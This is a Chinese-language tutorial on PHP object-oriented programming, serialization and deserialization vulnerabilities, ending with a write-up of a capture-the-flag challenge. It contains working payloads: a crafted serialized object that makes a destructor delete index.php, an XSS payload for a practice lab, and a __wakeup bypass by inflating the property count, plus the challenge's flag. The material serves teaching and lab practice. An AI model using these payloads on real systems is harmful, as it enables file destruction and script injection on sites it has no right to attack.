文章目錄
一、PHP面向對象編程
在面向對象的程序設計(Object-oriented programming,OOP)中,對象是一個由信息及對信息進行處理的描述所組成的整體,是對現實世界的抽象。 類是一個共享相同結構和行為的對象的集合。每個類的定義都以關鍵字class開頭,后面跟着類的名字。
創建一個PHP類:
<?php
class TestClass //定義一個類
{
//一個變量
public $variable = 'This is a string';
//一個方法
public function PrintVariable()
{
echo $this->variable;
}
}
//創建一個對象
$object = new TestClass();
//調用一個方法
$object->PrintVariable();
?>
public、protected、private
PHP 對屬性或方法的訪問控制,是通過在前面添加關鍵字 public(公有),protected(受保護)或 private(私有)來實現的。
public(公有):公有的類成員可以在任何地方被訪問。
protected(受保護):受保護的類成員則可以被其自身以及其子類和父類訪問。
private(私有):私有的類成員則只能被其定義所在的類訪問。
注意:不同修飾符序列化后的值不一樣
訪問控制修飾符的不同,序列化后屬性的長度和屬性值會有所不同,如下所示:
public:屬性被序列化的時候屬性值會變成屬性名
protected:屬性被序列化的時候屬性值會變成\x00*\x00屬性名
private:屬性被序列化的時候屬性值會變成\x00類名\x00屬性名
其中:\x00表示空字符,但是還是占用一個字符位置
魔術方法(magic函數)
PHP中把以兩個下划線__開頭的方法稱為魔術方法(Magic methods)
PHP官方——魔術方法
PHP中16 個魔術方法詳解
類可能會包含一些特殊的函數:magic函數,這些函數在某些情況下會自動調用。
serialize() 函數會檢查類中是否存在一個魔術方法。如果存在,該方法會先被調用,然后才執行序列化操作。
__construct:構造函數,當一個對象創建時調用
__destruct:析構函數,當一個對象被銷毀時調用
__toString:當一個對象被當作一個字符串時使用
__sleep:在對象序列化的時候調用
__wakeup:對象重新醒來,即由二進制串重新組成一個對象的時候(在一個對象被反序列化時調用)
從序列化到反序列化這幾個函數的執行過程是:
__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()
<?php
class TestClass
{
//一個變量
public $variable = 'This is a string';
//一個方法
public function PrintVariable()
{
echo $this->variable.'<br />';
}
//構造函數
public function __construct()
{
echo '__construct<br />';
}
//析構函數
public function __destruct()
{
echo '__destruct<br />';
}
//當對象被當作一個字符串
public function __toString()
{
return '__toString<br />';
}
}
//創建一個對象
//__construct會被調用
$object = new TestClass();
//創建一個方法
//‘This is a string’將會被輸出
$object->PrintVariable();
//對象被當作一個字符串
//toString會被調用
echo $object;
//php腳本要結束時,__destruct會被調用
?>
輸出結果:
__construct
This is a string
__toString
__destruct
二、PHP序列化和反序列化
有時需要把一個對象在網絡上傳輸,為了方便傳輸,可以把整個對象轉化為二進制串,等到達另一端時,再還原為原來的對象,這個過程稱之為串行化(也叫序列化)。
有兩種情況必須把對象序列化:
把一個對象在網絡中傳輸的時候
把對象寫入文件或數據庫的時候
序列化:把對象轉化為二進制的字符串,使用serialize()函數
反序列化:把對象轉化的二進制字符串再轉化為對象,使用unserialize()函數
通過例子來看PHP序列化后的格式:
<?php
class User
{
//類的數據
public $age = 0;
public $name = '';
//輸出數據
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
} // “.”表示字符串連接
}
//創建一個對象
$usr = new User();
//設置數據
$usr->age = 18;
$usr->name = 'Hardworking666';
//輸出數據
$usr->printdata();
//輸出序列化后的數據
echo serialize($usr)
?>
輸出結果:
User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
下面的 O:4:“User”:2:{s:3:“age”;i:18;s:4:“name”;s:14:“Hardworking666”;} 就是對象user序列化后的形式。
“O”表示對象,“4”表示對象名長度為4,“User”為對象名,“2”表示有2個參數。
“{}”里面是參數的key和value,
“s”表示string對象,“3”表示長度,“age”則為key;“i”是interger(整數)對象,“18”是value,后面同理。
進行反序列化:
<?php
class User
{
//類的數據
public $age = 0;
public $name = '';
//輸出數據
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
}
}
//重建對象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//輸出數據
$usr->printdata();
?>
User Hardworking666 is 18 years old.
_sleep 方法在一個對象被序列化時調用,_wakeup方法在一個對象被反序列化時調用
<?php
class test
{
public $variable = '變量反序列化后都要銷毀'; //公共變量
public $variable2 = 'OTHER';
public function printvariable()
{
echo $this->variable.'<br />';
}
public function __construct()
{
echo '__construct'.'<br />';
}
public function __destruct()
{
echo '__destruct'.'<br />';
}
public function __wakeup()
{
echo '__wakeup'.'<br />';
}
public function __sleep()
{
echo '__sleep'.'<br />';
return array('variable','variable2');
}
}
//創建一個對象,回調用__construct
$object = new test();
//序列化一個對象,會調用__sleep
$serialized = serialize($object);
//輸出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建對象,會調用__wakeup
$object2 = unserialize($serialized);
//調用printvariable,會輸出數據(變量反序列化后都要銷毀)
$object2->printvariable();
//腳本結束,會調用__destruct
?>
__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"變量反序列化后都要銷毀";s:9:"variable2";s:5:"OTHER";}
__wakeup
變量反序列化后都要銷毀
__destruct
__destruct
從序列化到反序列化這幾個函數的執行過程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()
三、PHP反序列化漏洞原理
序列化和反序列化本身沒有問題,但是如果反序列化的內容是用戶可以控制的,且后台不正當的使用了PHP中的魔法函數,就會導致安全問題。當傳給unserialize()的參數可控時,可以通過傳入一個精心構造的序列化字符串,從而控制對象內部的變量甚至是函數。
存在漏洞的思路:一個類用於臨時將日志儲存進某個文件,當__destruct被調用時,日志文件將會被刪除:
//logdata.php
<?php
class logfile
{
//log文件名
public $filename = 'error.log';
//一些用於儲存日志的代碼
public function logdata($text)
{
echo 'log data:'.$text.'<br />';
file_put_contents($this->filename,$text,FILE_APPEND);
}
//destrcuctor 刪除日志文件
public function __destruct()
{
echo '__destruct deletes '.$this->filename.'file.<br />';
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
調用這個類:
<?php
include 'logdata.php'
class User
{
//類數據
public $age = 0;
public $name = '';
//輸出數據
public function printdata()
{
echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
}
}
//重建數據
$usr = unserialize($_GET['usr_serialized']);
?>
代碼$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以構造輸入,刪除任意文件。
如構造輸入刪除目錄下的index.php文件:
<?php
include 'logdata.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>
上面展示了由於輸入可控造成的__destruct函數刪除任意文件,其實問題也可能存在於__wakeup、__sleep、__toString等其他magic函數。比如,某用戶類定義了一個__toString,為了讓應用程序能夠將類作為一個字符串輸出(echo $object),而且其他類也可能定義了一個類允許__toString讀取某個文件。
例如,皮卡丘靶場PHP反序列化漏洞
$html="; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>錯誤輸出</p>"; }else{ $html.="<p>{$unser->test)</p>";
}
為了執行<script>alert('xss')</script>,Payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
其他知識點:
unserialize漏洞依賴條件:
1、unserialize函數的參數可控
2、腳本中存在一個構造函數(__construct())、析構函數(__destruct())、__wakeup()函數中有向PHP文件中寫數據的操作類
3、所寫的內容需要有對象中的成員變量的值
防范方法:
1、嚴格控制unserialize函數的參數,堅持用戶所輸入的信息都是不可靠的原則
2、對於unserialize后的變量內容進行檢查,以確定內容沒有被污染
四、CTF例題
PHP反序列化繞過__wakeup()
攻防世界xctf web unserialize3
打開網址后的代碼:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
已知在使用 unserialize() 反序列化時會先調用 __wakeup()函數,
而本題的關鍵就是如何 繞過 __wakeup()函數,就是 在反序列化的時候不調用它
當 序列化的字符串中的 屬性值 個數 大於 屬性個數 就會導致反序列化異常,從而繞過 __wakeup()
代碼中的__wakeup()方法如果使用就是和unserialize()反序列化函數結合使用的
這里沒有特別對哪個字符串序列化,所以把xctf類實例化后,進行反序列化。
我們利用php中的new運算符,實例化類xctf。
new 是申請空間的操作符,一般用於類。
比如定義了一個 class a{public i=0;}
$c = new a(); 相當於定義了一個基於a類的對象,這時候 $c->i 就是0
構造序列化的代碼在編輯器內執行:
<?php
class xctf{
public $flag = '111'; //public定義flag變量公開可見
public function __wakeup(){
exit('bad requests');
}
}//題目少了一個},這里補上
$a=new xctf();
echo(serialize($a));
?>
運行結果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
O:表示序列化的是對象
<length>:表示序列化的類名稱長度
<class name>:表示序列化的類的名稱
<n>:表示被序列化的對象的屬性個數
<field name 1>:屬性名
<field value 1>:屬性值
所以要修改屬性值<n>,既把1改為2以上。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在url中輸入:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}
